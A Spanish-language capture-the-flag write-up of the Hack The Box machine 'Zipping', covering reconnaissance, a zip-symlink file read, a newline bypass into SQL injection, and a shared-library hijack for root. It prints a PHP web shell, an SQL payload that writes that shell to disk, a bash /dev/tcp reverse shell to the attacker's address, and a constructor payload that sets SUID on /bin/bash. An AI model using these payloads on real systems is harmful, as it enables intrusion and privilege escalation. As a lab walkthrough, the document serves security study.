

Zipping



Zipping has been Pwned!

Alex Coman (aka. KR31TOS)

20 Enero 2024



Índice

1. Ámbito y alcance	pág 2
2. Reconocimiento	pág 2
3. Enumeración	pág 3
3.1 Descubrimiento de puertos abiertos	pág 3
3.2 Enumeración de versión y servicio	pág 3
4. Explotación	pág 5
4.1 Zip Symlink Upload 🏴	pág 5
4.2 New line bypass - preg_match	pág 8
5. Escalada de privilegios	pág 10
5.1 Linux Shared Library Hijacking 🏴	pág 12



Ámbito y alcance

En este detallado writeup, abordaremos con éxito la resolución de la máquina **Zipping** en la plataforma Hack The Box. En nuestra primera fase de explotación, aprovecharemos la vulnerabilidad conocida como **Zip Symlink Upload**, permitiéndonos leer archivos tanto del sistema como del sitio web.

Progresando en nuestra intrusión, identificamos un archivo que acepta un parámetro a través de **GET**, el cual es utilizado para ejecutar una consulta **SQL** sin la debida sanitización. A pesar de encontrarnos con una validación previa mediante la función **preg_match** de PHP, superaremos este obstáculo aplicando la técnica **New Line Bypass**, obteniendo así acceso al sistema.

Para culminar nuestra incursión, escalaremos nuestros privilegios al aprovechar un binario que puede ejecutarse con **sudo** sin requerir contraseña, explotando la conocida vulnerabilidad **Linux Shared Library Hijacking**.



Reconocimiento

Hacemos un traceroute (**-R**) para ver por qué nodos pasa la traza icmp y comprobar que tenemos conectividad, hay un nodo intermedio que hace que el **TTL** de la máquina disminuya en 1, pero claramente da a entender que es una máquina Linux por el valor **TTL=63**

```
> ping -c 1 10.10.11.229 -R
PING 10.10.11.229 (10.10.11.229) 56(124) bytes of data.
64 bytes from 10.10.11.229: icmp_seq=1 ttl=63 time=41.1 ms
RR:      10.10.16.3
          10.10.10.2
          10.10.11.229
          10.10.11.229
          10.10.16.1
          10.10.16.3

--- 10.10.11.229 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 41.145/41.145/41.145/0.000 ms
```



Enumeración

Descubrimiento de puertos abiertos

Utilizamos **nmap** para realizar un escaneo y descubrir qué puertos **TCP** están abiertos en la máquina víctima con el comando:

- **nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.229 -oG allPorts**
 - **-p-** Indica que debe escanear los 65535 puertos disponibles.
 - **--open** Solo considerar puertos abiertos.
 - **-sS** Realiza un escaneo silencioso, no completa la conexión TCP (SYN > SYN/ACK > Reset packet).
 - **--min-rate 5000** Establece el número mínimo de paquetes enviados por segundo.
 - **-vvv** Modo triple verbose, muestra resultados a medida que los encuentra.
 - **-n** Evita la resolución DNS para que el escaneo vaya más rápido
 - **-Pn** Desactiva el descubrimiento de host mediante pings.

```
> nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.229 -oG allPorts

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-14 05:26 CET
Initiating SYN Stealth Scan at 05:26
Scanning 10.10.11.229 [65535 ports]
Discovered open port 80/tcp on 10.10.11.229
Discovered open port 22/tcp on 10.10.11.229
Completed SYN Stealth Scan at 05:26, 12.32s elapsed (65535 total ports)
Nmap scan report for 10.10.11.229
Host is up, received user-set (0.088s latency).
Scanned at 2024-01-14 05:26:37 CET for 13s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh      syn-ack ttl 63
80/tcp    open  http     syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.42 seconds
  Raw packets sent: 65560 (2.885MB) | Rcvd: 65560 (2.622MB)

> extractPorts allPorts

[*] Extracting information...
  [*] IP Address: 10.10.11.229
  [*] Open ports: 22,80

[*] Ports copied to clipboard
```

Enumeración de versión y servicio

Lanzamos una serie de scripts básicos de enumeración propios de la herramienta **nmap** para listar la versión y servicio que están corriendo bajo los puertos abiertos (**22, 80**).

- **nmap -sCV -p22,80 10.10.11.229 -oN targeted**
 - **-sCV** Combina los parámetros **-sC** sirve para lanzar un conjunto de scripts básicos de reconocimiento de nmap **-sV** detecta la versión y el servicio que están corriendo por los puertos abiertos.
 - **-p22,80** Por los puertos seleccionados
 - **-oN** Se exporta en formato nmap en un archivo llamado **targeted**.

Nos muestra que se trata de una máquina **Linux** que tiene **Ubuntu Kinetik** como sistema operativo corriendo un servidor **Apache 2.4.54** con algunas **vulnerabilidades** y ejecutándose por el puerto **80 http** una página web que tiene pinta de ser una tienda con el nombre **Zipping Watch store**.



```
File: targeted
1 # Nmap 7.94SVN scan initiated Sun Jan 14 06:10:34 2024 as: nmap -SCV -p22,80 -oN targeted 10.10.11.229
2 Nmap scan report for 10.10.11.229 (10.10.11.229)
3 Host is up (0.063s latency).
4
5 PORT      STATE SERVICE VERSION
6 22/tcp    open  ssh      OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
7 | ssh-hostkey:
8 |_ 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
9 |_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
10 80/tcp    open  http     Apache httpd 2.4.54 ((Ubuntu))
11 |_http-title: Zipping | Watch store
12 |_http-server-header: Apache/2.4.54 (Ubuntu)
13 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
14
15 Service detection performed. Please report any incorrect results at https://nmap.org/submit/
16 # Nmap done at Sun Jan 14 06:10:44 2024 -- 1 IP address (1 host up) scanned in 10.14 seconds
```

Al tratarse de un servidor web se realiza un proceso de **fuzzing** para encontrar unas posibles rutas que puedan ser vulnerables. Utilizamos la herramienta **dirb** para realizar el escaneo y nos encuentra varios resultados interesantes, entre los más destacados son los directorios **shop**, **uploads** y **assets**.

```
> dirb http://10.10.11.229
-----
DIRB v2.22
By The Dark Raver
-----

START_TIME: Sun Jan 14 06:24:57 2024
URL_BASE: http://10.10.11.229/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----
GENERATED WORDS: 4612

---- Scanning URL: http://10.10.11.229/ ----
==> DIRECTORY: http://10.10.11.229/assets/ ←
+ http://10.10.11.229/index.php (CODE:200|SIZE:16738)
+ http://10.10.11.229/server-status (CODE:403|SIZE:277)
==> DIRECTORY: http://10.10.11.229/shop/ ←
==> DIRECTORY: http://10.10.11.229/uploads/ ←

---- Entering directory: http://10.10.11.229/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.11.229/shop/ ----
==> DIRECTORY: http://10.10.11.229/shop/assets/
+ http://10.10.11.229/shop/index.php (CODE:200|SIZE:2615) ←

---- Entering directory: http://10.10.11.229/uploads/ ----

---- Entering directory: http://10.10.11.229/shop/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

-----
END_TIME: Sun Jan 14 06:35:33 2024
DOWNLOADED: 13836 - FOUND: 3
```

Investigando la web vemos que se trata de una tienda de relojes con 4 relojes a la venta, pero aún no parece estar acabada, los links a las redes sociales no están implementados. Encontramos un formulario de contacto en la sección **CONTACT** pero no parece funcionar, interceptandolo con **Burpsuite** vemos que manda una petición por **GET** a la raíz pero no hace nada.

En el último apartado de la máquina hay una sección llamada **WORK WITH US** en la que permite introducir un **CV** si deseas trabajar con la empresa. El dato curioso es que especifica que solo acepta archivos **.zip** que contengan únicamente un documento en formato **.pdf**.



Explotación

Zip Symlink Upload

Sabiendo que la web esta en **PHP**, pruebo a introducir un archivo llamado **cmd.php** para ver si consigo establecer una **shell** en el servidor:

```
File: cmd.php
1 <?php
2 // Web shell básica
3
4 // Mediante el parámetro cmd que se insertará en la url
5 // se podrá ejecutar un comando
6 system($_GET['cmd']);
7 ?>
```

Intento subir el archivo a la página para comprobar si realiza correctamente las validaciones, por si hay alguna vulnerabilidad en el campo, pero sin éxito, ya que arroja un error.

The screenshot shows a form titled "WORK WITH US". It contains instructions: "If you are interested in working with us, do not hesitate to send us your curriculum. The application will only accept zip files, inside them there must be a pdf file containing your curriculum." Below the instructions is a file input field with the placeholder "Examinar... No se ha seleccionado ningún archivo.". A red-bordered error message box above the input field says "Error uploading file.". Below the input field is a yellow "Upload" button.

Como pide **archivo.zip**, comprimo el **cmd.php** en un **.zip** con el comando **zip cmd.zip cmd.php**, pero al subir el archivo arroja otro error diciendo que la extensión del archivo dentro del **.zip** tiene que ser en formato **.pdf**.

The screenshot shows the same "WORK WITH US" page. The error message has changed to "The unzipped file must have a .pdf extension." The rest of the page remains the same, including the instructions and the file input field.

Pruebo nuevamente a cambiar el nombre del **cmd.php** a **cmd.php.pdf** para ver si tengo éxito y me lo sube correctamente entregándome una ruta en el directorio **uploads** con lo que parece ser un **MD5** y el archivo subido.

The screenshot shows the "WORK WITH US" page again. This time, after a successful upload, a message at the top says "File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:". Below this is a red-bordered box containing the URL "uploads/8d3d4a4ccc14812672b3158408d3a1e9/cmd.php.pdf". The rest of the page includes the instructions, the file input field ("Examinar... No se ha seleccionado ningún archivo."), and the yellow "Upload" button.

Buscando por internet me encuentro con la página **The Hacker Recipes** en la que muestra una vulnerabilidad llamada **Null-Byte injection** que es basada en injectar caracteres de bytes nulos (**%00**, **\x00**) en los datos proporcionados. Pero no funciona.



Investigando sobre posibles vulnerabilidades al momento de subir un **.zip** a una plataforma descubro una técnica que consiste en crear un enlace simbólico que apunte a un archivo en el sistema, por ejemplo de esta manera `ln -s /etc/passwd test.pdf`, si abres el **link_simbolico.pdf** te lleva a `/etc/passwd`.

De esta manera se puede engañar al sistema creando un comprimido que internamente tenga este recurso que apunta al link simbólico arrastrado. Para que al comprimir el archivo se mantenga el link hay que ejecutarlo mediante este comando `zip -symlinks troyano.zip link_simbolico.pdf` y volver a subirlo a la plataforma. Las referencias a la técnica **File Uploads**, está en **HackTricks**.

```
> rm link_simbolico.pdf
> ll
.rw-r--r-- kr31tos kr31tos 149 B Sun Jan 14 07:53:47 2024 cmd.php.pdf
.rw-r--r-- kr31tos kr31tos 303 B Sun Jan 14 08:15:27 2024 cmd.zip
.rw-r--r-- kr31tos kr31tos 197 B Sun Jan 14 09:11:03 2024 troyano.zip

> unzip troyano.zip
Archive: troyano.zip
    linking: link_simbolico.pdf      -> /etc/passwd
finishing deferred symbolic links:
link_simbolico.pdf      -> /etc/passwd

> l
cmd.php.pdf cmd.zip link_simbolico.pdf troyano.zip

> ll
.rw-r--r-- kr31tos kr31tos 149 B Sun Jan 14 07:53:47 2024 cmd.php.pdf
.rw-r--r-- kr31tos kr31tos 303 B Sun Jan 14 08:15:27 2024 cmd.zip
.lwxrwxrwx kr31tos kr31tos 11 B Sun Jan 14 09:11:47 2024 link_simbolico.pdf => /etc/passwd
.rw-r--r-- kr31tos kr31tos 197 B Sun Jan 14 09:11:03 2024 troyano.zip

Ω > ~/Documents/Hack The Box/Zipping/content > ✓
```

El link simbólico se mantiene

Una vez subido el archivo hay que abrir la consola del navegador e ir al apartado **networks**, seleccionar la petición que va al recurso **.pdf**, en el apartado **response** nos encontramos con una cadena en **Base64**.

Red										Editor de estilos		Rendimiento	Memoria	Almacenamiento	Accesibilidad	Aplicación
Est...	Mét...	Dominio	Archivo	Iniciador	Tipo	Transferido	Tam...	Cabeceras	Cookies	Solicitud	Respuesta	Caché	Tiempos			
304	GET	10.10.11...	link_simbolico.pdf		document	pdf	cacheado	1,3...		Contenido de respuesta						
404	GET	10.10.11...	favicon.ico	FaviconLo...	html	cacheado	274 B	1	1	1	1	1	1	1	1	1

Cadena en B64

Si copio la cadena en un archivo llamado **etc-passwd** en mi máquina, y decodifico con `cat etc-passwd | base64 -d` conseguimos el contenido del `/etc/passwd` de la máquina víctima. Resalta 2 usuarios que pueden abrir una **bash** en el sistema, uno es **root**, y el otro es **rektef**.

```
> batcat etc-passwd | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektef:x:1001:1001::/home/rektef:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false
```



Primera flag

Haciendo el mismo proceso de crear un link simbólico pero esta vez a `/home/rektsu` e introducirlo en un archivo `.zip` para volver a subirlo a la plataforma nos encontramos con un **Base64** más corto que al decodificarlo nos da la primera Flag -> **9d40bfc71975c1e43348d1d7ff2a331e**

Est	Mé	Domi...	Archivo	Inicia...	Tip	Trans...	T...	Cabeceras	Cookies	Solicitud	Respuesta	Caché
304	GET	10...	link_simbolico.pdf	docu...	pdf	cach...	331				Contenido de respuesta	
404	GET	10...	favicon.ico	Favic...	htm	cach...	274				OWQ0MGJmYzcx0Tc1YzFlNDMzNDhkMWQ3ZmYyYTMzMWUK	

```
> ln -sf /home/rektsu/user.txt link_simbolico.pdf
> ll
.rw-r--r-- kr31tos kr31tos 149 B Sun Jan 14 07:53:47 2024 cmd.php.pdf
.rw-r--r-- kr31tos kr31tos 303 B Sun Jan 14 08:15:27 2024 cmd.zip
.rw-r--r-- kr31tos kr31tos 1.8 KB Sun Jan 14 09:21:42 2024 etc-passwd
.lwxrwxrwx kr31tos kr31tos 21 B Sun Jan 14 09:43:52 2024 link_simbolico.pdf => /home/rektsu/user.txt
.rw-r--r-- kr31tos kr31tos 197 B Sun Jan 14 09:11:03 2024 troyano.zip

> zip --symlinks troyano.zip link_simbolico.pdf
updating: link_simbolico.pdf (stored 0%)

> ll
.rw-r--r-- kr31tos kr31tos 149 B Sun Jan 14 07:53:47 2024 cmd.php.pdf
.rw-r--r-- kr31tos kr31tos 303 B Sun Jan 14 08:15:27 2024 cmd.zip
.rw-r--r-- kr31tos kr31tos 1.8 KB Sun Jan 14 09:21:42 2024 etc-passwd
.lwxrwxrwx kr31tos kr31tos 21 B Sun Jan 14 09:43:52 2024 link_simbolico.pdf => /home/rektsu/user.txt
.rw-r--r-- kr31tos kr31tos 207 B Sun Jan 14 09:44:33 2024 troyano.zip

> echo "OWQ0MGJmYzcx0Tc1YzFlNDMzNDhkMWQ3ZmYyYTMzMWUK" | base64 -d
9d40bfc71975c1e43348d1d7ff2a331e
```

Una vez conseguida la flag, buscamos la intrusión en la máquina, así que sabemos que la página tiene varias rutas interesantes que detectamos con `dirb`, una de ellas es `index.php`, así que volvemos a realizar la técnica de **Zyp Symlink Upload** mediante el siguiente comando `ln -sf`

`/var/www/html/shop/index.php link_simbolico.pdf` para intentar ver el código **PHP**. Una vez interceptada la cadena, la decodificamos y nos muestra el siguiente código.

```
> batcat index.php | base64 -d | sponge index.php
> batcat index.php
File: index.php
1 <?php
2 session_start();
3 // Include functions and connect to the database using PDO MySQL
4 include 'functions.php';
5 $pdo = pdo_connect_mysql();
6 // Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
7 $page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
8 // Include and show the requested page
9 include $page . '.php';
10 ?>
```

Esta función además de apuntar a un recurso a través del parámetro `page` concatenando por detrás la extensión `.php` y verificando si existe, nos desvela otra ruta posible para investigar, `function.php`. La página tenía un apartado `cart` para poder comprar relojes por lo que puede que haga peticiones a una base de datos, aplicamos nuevamente **Zyp Symlink Upload** mediante el siguiente comando `ln -sf`

`/var/www/html/shop/cart.php link_simbolico.pdf`.



```

File: cart.php

1 // If the user clicked the add to cart button on the product page we can check for the form data
2 if (isset($_POST['product_id'], $_POST['quantity'])) {
3     // Set the post variables so we easily identify them, also make sure they are integer
4     $product_id = $_POST['product_id'];
5     $quantity = $_POST['quantity'];
6     // Filtering user input for letters or special characters
7     if(preg_match("/^.*[A-Za-z!#$%^&()\\-_+={}\\[]\\|;:\\\",.>\\?][^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&()\\-_+={}\\[]\\|;:\\\",.>\\?]/i", $quantity, $match)) {
8         echo '';
9     } else {
10        // Construct the SQL statement with a vulnerable parameter
11        $sql = "SELECT * FROM products WHERE id = '" . $product_id . "'"; // Execute the SQL statement without any sanitization or parameter binding
12        $product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
13        // Check if the product exists (array is not empty)
14        if ($product && $quantity > 0) {
15            // Product exists in database, now we can create/update the session variable for the cart
16            if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
17                if (array_key_exists($product_id, $_SESSION['cart'])) {
18                    // Product exists in cart so just update the quantity
19                    $_SESSION['cart'][$product_id] += $quantity;
20                } else {
21                    // Product is not in cart so add it
22                    $_SESSION['cart'][$product_id] = $quantity;
23                }
24            } else {
25                // There are no products in cart, this will add the first product to cart
26                $_SESSION['cart'] = array($product_id => $quantity);
27            }
28        }
29    }
30    // Prevent form resubmission...
31    header('location: index.php?page=cart');
32    exit;
33}
34}
35}
36}
37// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
38if (isset($_GET['remove']) && is_numeric($_GET['remove']) && !isset($_SESSION['cart']) && !isset($_SESSION['cart'][$_GET['remove']])) {
39

```

Encontramos en el código (148 líneas) un apartado que **no está sanitizado** que dónde realiza una query a una base de datos donde se utiliza el parámetro **id** sin escapar, esta consulta es propensa a **SQL Injection**.

También se puede automatizar todo el proceso a través de un script en python que lee directamente los ficheros que podéis encontrar aquí [readfile.py](#)

New line bypass - preg_match

Leyendo el código más a fondo nos damos cuenta de que no se puede generar una inyección **SQL Injection** ya que en la línea 8 la función **preg_match** está realizando una validación de los caracteres especiales. Si investigamos en internet, encontramos una técnica en **HackTricks** llamada **New line bypass** que consiste en enviar nuestro payload en diferentes líneas ya que la función **preg_match** solo valida la primera línea de entrada del usuario.

Hago unas pequeñas pruebas en el apartado **id** para ver si consigo alguna inyección SQL, y me dan resultados, así que decido automatizar el proceso con **SQLMap**, y consigo **shell**.

```
sqlmap -u "http://10.10.11.229/shop/index.php?page=product&id=1" --fresh-queries
--prefix="%0A%0D"
--suffix="'1" -p id --dbms mysql --level 2 --risk 2 --batch
--sql-shell
```

```

Parameter: id (GET)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: page=product&id=1
';SELECT SLEEP(5)'1
[04:19:56] [INFO] the back-end DBMS is MySQL
[04:19:56] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.54, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[04:20:01] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

```



Realizo más pruebas sobre la web dentro del parámetro id mediante inyecciones SQL con saltos de línea de forma manual y descubro que hay varias columnas disponibles, concretamente **2,3,4,5,6,7,8**. Fuera de este rango, me aparece que el producto no existe.

The screenshot shows a Firefox browser window with several tabs open. The active tab is titled "Zipping | Product" and its URL is "10.10.11.229/shop/index.php?page=product&id=%0A1%'+order+by+8---+1". Below the tabs, the address bar also displays the same URL. The main content area shows a product listing for a "Smart Watch" priced at \$29.99. A red box highlights the URL parameter "id=%0A1%'+order+by+8---+1". The page title is "Zipping Watch Store".

Ahora sabiendo esto, intento conseguir un **reverse shell** a través de la siguiente inyección SQL que aprovecha esta vulnerabilidad e inserta código php malicioso dentro de las columnas disponibles en el servidor desde la ruta **/dev/shm/shell** para poder ejecutar código arbitrario.

```
GET /shop/index.php?page=product&id=%0A1%'+union+select+">php+system($_REQUEST['cmd']);+?&gt;",2,3,4,5,6,7,8+into+outfile+="/dev/shm/shell.php";--+-1 HTTP/1.1
Host: 10.10.11.229
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Cookie: PHPSESSID=e1v9tjd5vico0emdmac0gk75su
Upgrade-Insecure-Requests: 1</pre
```

Después, interceptamos la petición con burpsuite desde la página

http://10.10.11.229/shop/index.php?page=product&id=1 y cambiamos los parámetros de **product** por la ruta **/dev/shm/shell** y el parámetro de **id**, lo igualamos a cmd **cmd=id**.

The screenshot shows a Firefox browser window with the URL "10.10.11.229/shop/index.php?page=/dev/shm/shell&cmd=id" highlighted. The status bar shows the user information "uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)". A red arrow points to the "groups" part of the status bar.

Comprobamos que nos da resultados y nos muestra el id del usuario **rektsu** por pantalla, por lo tanto intentamos conseguir **shell** en el servidor, primero nos ponemos en escucha **nc -lvpn 9001** y después cambiamos el parámetro **id** por **bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.2/9001+0>%261'** con el & en formato **urlencode** (%26).

```
GET /shop/index.php?page=/dev/shm/shell&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.2/9001+0>%261' HTTP/1.1
Host: 10.10.11.229
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Cookie: PHPSESSID=e1v9tjd5vico0emdmac0gk75su
Upgrade-Insecure-Requests: 1
```

Una vez enviamos la petición desde el **repeater**, ya tenemos la **reverse shell** del usuario **rektsu** disponible en nuestra terminal.

```
> nc -lvpn 9001
listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.229] 60006
bash: cannot set terminal process group (1129): Inappropriate ioctl for device
bash: no job control in this shell
rektsu@zipping:/var/www/html/shop$ |
```



Escalada de privilegios

Realizamos un tratamiento de la `tty` para poder interactuar con ella cómodamente:

```
■ script /dev/null -c bash luego pulsamos CTRL+Z  
■ stty raw -echo; fg introducimos reset xterm  
■ export TERM=xterm  
■ stty rows 44 columns 184
```

Buscamos información sobre el sistema con `lsb_release -a` y efectivamente nos confirma nuestra búsqueda anterior de la versión **Kinetic** de Ubuntu.

```
rektsu@zipping:/home/rektsu$ lsb_release -a  
No LSB modules are available.  
Distributor ID: Ubuntu  
Description:    Ubuntu 22.10  
Release:        22.10  
Codename:       kinetic  
rektsu@zipping:/home/rektsu$ |
```

Al hacer una enumeración básica del sistema, descubrimos que tenemos privilegios de ejecución sobre el binario `/usr/bin/stock`, pero nos solicita una contraseña que no sabemos, por lo tanto decidimos analizar el código interno a ver si por alguna casualidad han dejado la contraseña escondida en algún comentario, y encontramos en el archivo `functions.php` una contraseña posiblemente válida `MySQL_P@ssw0rd` pero no da resultado.

```
<?php  
function pdo_connect_mysql() {  
    // Update the details below with your MySQL details  
    $DATABASE_HOST = 'localhost';  
    $DATABASE_USER = 'root';  
    $DATABASE_PASS = 'MySQL_P@ssw0rd!';  
    $DATABASE_NAME = 'zipping';  
    try {  
        return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);  
    } catch (PDOException $exception) {  
        // If there is an error with the connection, stop the script and display the error.  
        exit('Failed to connect to database!');  
    }  
}
```

Centrándome ahora en el archivo en el que tenemos permisos, siendo un ejecutable **binario de 64 bits** para **Linux**, pruebo con `sudo -u root /usr/bin/stock` pero no me permite entrar directamente al archivo sin añadir la contraseña, aun así me da la pista de que no me pide la contraseña de root para el sistema.

Por lo tanto, analizando el archivo con el comando `strings /usr/bin/stock`, nos muestra muchas cadenas en claro y probamos suerte a ver si encontramos alguna cosa interesante.

```
rektsu@zipping:/home/rektsu$ id  
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)  
rektsu@zipping:/home/rektsu$ sudo -l  
Matching Defaults entries for rektsu on zipping:  
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User rektsu may run the following commands on zipping:  
    (ALL) NOPASSWD: /usr/bin/stock  
rektsu@zipping:/home/rektsu$ ls -l /usr/bin/stock  
-rwxr-xr-x 1 root root 16672 Apr 1 2023 /usr/bin/stock  
rektsu@zipping:/home/rektsu$ file /usr/bin/stock  
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically  
linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f80  
11c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped  
rektsu@zipping:/home/rektsu$ sudo -u root /usr/bin/stock  
Enter the password: MySQL_P@ssw0rd  
Invalid password, please try again.  
rektsu@zipping:/home/rektsu$ sudo su  
[sudo] password for rektsu:  
rektsu@zipping:/home/rektsu$ strings /usr/bin/stock|
```



Haciendo un par de pruebas, la contraseña es **St0ckM4nager**.

```
_ITM_aeregisterIMCloneable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
Hakaize
St0ckM4nager
/root/.stock.csv
Enter the password:
Invalid password, please try again.
===== Menu =====
1) See the stock
2) Edit the stock
3) Exit the program
Select an option:
You do not have permissions to read the file
File could not be opened.
===== Stock Actual =====
Colour Black Gold Silver
Amount %-7d %-7d %-7d
Quality Excelent Average Poor
Amount %-9d %-7d %-4d
Exclusive Yes No
Amount %-4d %-4d
Warranty Yes No
===== Edit Stock =====
Enter the information of the watch you wish to update:
Colour (0: black, 1: gold, 2: silver):
Quality (0: excelent, 1: average, 2: poor):
Exclusivity (0: yes, 1: no):
Warranty (0: yes, 1: no):
Amount:
```

```
rektsu@zipping:/home/rektsu$ sudo /usr/bin/stock
Enter the password: St0ckM4nager
```

```
===== Menu =====

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: 1

===== Stock Actual =====

Colour Black Gold Silver
Amount 4 15 5

Quality Excelent Average Poor
Amount 4 15 5

Exclusive Yes No
Amount 4 19

Warranty Yes No
Amount 4 19

===== Menu =====

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: |
```



Luego de realizar algunas pruebas más, el binario no tiene permisos **suid** por lo tanto no se puede injectar código de esta manera, y tampoco consigo un ataque efectivo a través de un **buffer overflow**, así que decido examinar el binario utilizando la herramienta **strace** que está instalada en el servidor y nos muestra las llamadas que hay por detrás, recursos que no existen, errores...

Al hacer esto, encontré que la aplicación estaba intentando cargar la librería **/home/rektsu/.config/libcounter.so** que es un archivo de biblioteca compartida que no existe. Por lo tanto, podemos crear nosotros esta librería compartida para intentar escalar nuestros privilegios.

```
brk(0x55cd2f6a8000) = 0x55cd2f6a8000  
newfstatat(0, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0  
write(1, "Enter the password: ", 20Enter the password: ) = 20  
read(0, [St0ckM4nager] "St0ckM4nager\n", 1024) = 13  
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)  
write(1, "\n===== Menu =====\n", 44  
===== Menu =====  
) = 44  
write(1, "\n", 1  
) = 1  
write(1, "1) See the stock\n", 171) See the stock  
) = 17  
write(1, "2) Edit the stock\n", 182) Edit the stock  
) = 18  
write(1, "3) Exit the program\n", 203) Exit the program  
) = 20  
write(1, "\n", 1  
) = 1  
write(1, "Select an option: ", 18Select an option: ) = 18  
read(0, |
```

Linux Shared Library Hijacking

Buscando por internet como poder compartir un objeto a través de bibliotecas compartidas **.so** me encuentro con este link a **Exploit DB** que te explica el proceso para realizar este ataque **Shared Object (.so) Injection**.

Para explotar la vulnerabilidad y que me ejecute un comando, hay que otorgar privilegios **suid (u+s)** a la **bash /bin/bash** ya que el propietario de este archivo es **root** por lo tanto nos podemos elevar los privilegios de esta manera.

Con **nano**, creamos el siguiente archivo llamado **libcounter.c**.

```
#include<stdio.h>  
#include<stdlib.h>  
  
static void nix_so_injection_poc() __attribute__((constructor));  
  
void nix_so_injection_poc() {  
    system("chmod u+s /bin/bash");  
}
```

